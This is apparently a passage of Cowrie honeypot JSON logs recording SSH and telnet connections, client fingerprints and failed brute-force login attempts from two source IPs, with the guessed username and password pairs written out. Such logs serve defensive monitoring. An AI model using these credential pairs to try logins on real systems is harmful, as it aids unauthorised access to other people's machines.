{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56306,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0d6129a64f2","protocol":"ssh","message":"New connection: 31.40.204.166:56306 (159.203.135.109:22) [session: d0d6129a64f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:46.310868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:46.319456Z","src_ip":"31.40.204.166","session":"d0d6129a64f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:46.486031Z","src_ip":"31.40.204.166","session":"d0d6129a64f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:47.396797Z","src_ip":"31.40.204.166","session":"d0d6129a64f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53806,"dst_ip":"10.17.0.5","dst_port":23,"session":"f45b567e8c79","protocol":"telnet","message":"New connection: 152.42.224.71:53806 (10.17.0.5:23) [session: f45b567e8c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:47.534766Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:48.596910Z","src_ip":"31.40.204.166","session":"d0d6129a64f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53822,"dst_ip":"10.17.0.5","dst_port":23,"session":"23712f96fd7d","protocol":"telnet","message":"New connection: 152.42.224.71:53822 (10.17.0.5:23) [session: 23712f96fd7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:51.099881Z"}
{"eventid":"cowrie.session.closed","duration":76.78270983695984,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:53.452223Z","src_ip":"152.42.224.71","session":"2e657a0c3bab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53838,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3c77c67fa8b","protocol":"telnet","message":"New connection: 152.42.224.71:53838 (10.17.0.5:23) [session: b3c77c67fa8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:54.021914Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55724,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b44a8f9dcc6","protocol":"telnet","message":"New connection: 152.42.224.71:55724 (10.17.0.5:23) [session: 1b44a8f9dcc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:57.562093Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57322,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b80a51cb9af","protocol":"ssh","message":"New connection: 31.40.204.166:57322 (159.203.135.109:22) [session: 6b80a51cb9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:58.824749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:58.829703Z","src_ip":"31.40.204.166","session":"6b80a51cb9af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:58.999791Z","src_ip":"31.40.204.166","session":"6b80a51cb9af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:35:59.481877Z","src_ip":"31.40.204.166","session":"6b80a51cb9af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:00.903202Z","src_ip":"31.40.204.166","session":"6b80a51cb9af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.30611181259155,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:04.426494Z","src_ip":"152.42.224.71","session":"1f2ed8aeff2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.769553899765015,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:04.476497Z","src_ip":"152.42.224.71","session":"57b5dade8fc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45000,"dst_ip":"10.17.0.5","dst_port":23,"session":"b75156d46d94","protocol":"telnet","message":"New connection: 152.42.224.71:45000 (10.17.0.5:23) [session: b75156d46d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:06.218932Z"}
{"eventid":"cowrie.session.closed","duration":36.933836698532104,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:06.772489Z","src_ip":"152.42.224.71","session":"e5c6f35fd895","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":94.808345079422,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:07.070955Z","src_ip":"152.42.224.71","session":"a809787a2497","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.00961995124817,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:10.629331Z","src_ip":"152.42.224.71","session":"d89c82d2c077","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45008,"dst_ip":"10.17.0.5","dst_port":23,"session":"3936bd8c0b9a","protocol":"telnet","message":"New connection: 152.42.224.71:45008 (10.17.0.5:23) [session: 3936bd8c0b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:10.952438Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50878,"dst_ip":"159.203.135.109","dst_port":22,"session":"c38bd473e7f9","protocol":"ssh","message":"New connection: 31.40.204.166:50878 (159.203.135.109:22) [session: c38bd473e7f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:12.082708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:12.106542Z","src_ip":"31.40.204.166","session":"c38bd473e7f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:12.217261Z","src_ip":"31.40.204.166","session":"c38bd473e7f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:13.187415Z","src_ip":"31.40.204.166","session":"c38bd473e7f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45024,"dst_ip":"10.17.0.5","dst_port":23,"session":"612320309675","protocol":"telnet","message":"New connection: 152.42.224.71:45024 (10.17.0.5:23) [session: 612320309675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:14.291542Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:14.495259Z","src_ip":"31.40.204.166","session":"c38bd473e7f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45038,"dst_ip":"10.17.0.5","dst_port":23,"session":"42af2c429219","protocol":"telnet","message":"New connection: 152.42.224.71:45038 (10.17.0.5:23) [session: 42af2c429219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:15.441586Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45052,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8c6e06ebc53","protocol":"telnet","message":"New connection: 152.42.224.71:45052 (10.17.0.5:23) [session: b8c6e06ebc53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:15.722082Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36598,"dst_ip":"10.17.0.5","dst_port":23,"session":"7df5dad3a0b0","protocol":"telnet","message":"New connection: 152.42.224.71:36598 (10.17.0.5:23) [session: 7df5dad3a0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:16.931353Z"}
{"eventid":"cowrie.session.closed","duration":27.48933243751526,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:21.511124Z","src_ip":"152.42.224.71","session":"b3c77c67fa8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36614,"dst_ip":"10.17.0.5","dst_port":23,"session":"e212cf1810ec","protocol":"telnet","message":"New connection: 152.42.224.71:36614 (10.17.0.5:23) [session: e212cf1810ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:21.720385Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36624,"dst_ip":"10.17.0.5","dst_port":23,"session":"6889bf6f1a73","protocol":"telnet","message":"New connection: 152.42.224.71:36624 (10.17.0.5:23) [session: 6889bf6f1a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:23.511338Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57536,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa379adb424d","protocol":"ssh","message":"New connection: 31.40.204.166:57536 (159.203.135.109:22) [session: aa379adb424d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:23.984478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:24.014639Z","src_ip":"31.40.204.166","session":"aa379adb424d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:24.185726Z","src_ip":"31.40.204.166","session":"aa379adb424d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:25.121155Z","src_ip":"31.40.204.166","session":"aa379adb424d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.3562970161438,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:25.654486Z","src_ip":"152.42.224.71","session":"cac22eba24de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:26.722410Z","src_ip":"31.40.204.166","session":"aa379adb424d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50616,"dst_ip":"10.17.0.5","dst_port":23,"session":"70ab4807768c","protocol":"telnet","message":"New connection: 152.42.224.71:50616 (10.17.0.5:23) [session: 70ab4807768c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:27.369167Z"}
{"eventid":"cowrie.session.closed","duration":114.77105784416199,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:29.100451Z","src_ip":"152.42.224.71","session":"3579f688dd40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50622,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7ab5a6f2861","protocol":"telnet","message":"New connection: 152.42.224.71:50622 (10.17.0.5:23) [session: e7ab5a6f2861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:32.158444Z"}
{"eventid":"cowrie.session.closed","duration":41.864919662475586,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:32.964716Z","src_ip":"152.42.224.71","session":"23712f96fd7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50634,"dst_ip":"10.17.0.5","dst_port":23,"session":"d903cf48e4ba","protocol":"telnet","message":"New connection: 152.42.224.71:50634 (10.17.0.5:23) [session: d903cf48e4ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:35.055508Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51466,"dst_ip":"159.203.135.109","dst_port":22,"session":"d25ea769fd67","protocol":"ssh","message":"New connection: 31.40.204.166:51466 (159.203.135.109:22) [session: d25ea769fd67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:35.515733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:35.589960Z","src_ip":"31.40.204.166","session":"d25ea769fd67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:35.705068Z","src_ip":"31.40.204.166","session":"d25ea769fd67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:36.586151Z","src_ip":"31.40.204.166","session":"d25ea769fd67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:37.709549Z","src_ip":"31.40.204.166","session":"d25ea769fd67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.13604211807251,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:40.856283Z","src_ip":"152.42.224.71","session":"e212cf1810ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.70859670639038,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:45.150086Z","src_ip":"152.42.224.71","session":"42af2c429219","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48412,"dst_ip":"159.203.135.109","dst_port":22,"session":"815450850a6d","protocol":"ssh","message":"New connection: 31.40.204.166:48412 (159.203.135.109:22) [session: 815450850a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:46.883587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:36:46.888475Z","src_ip":"31.40.204.166","session":"815450850a6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac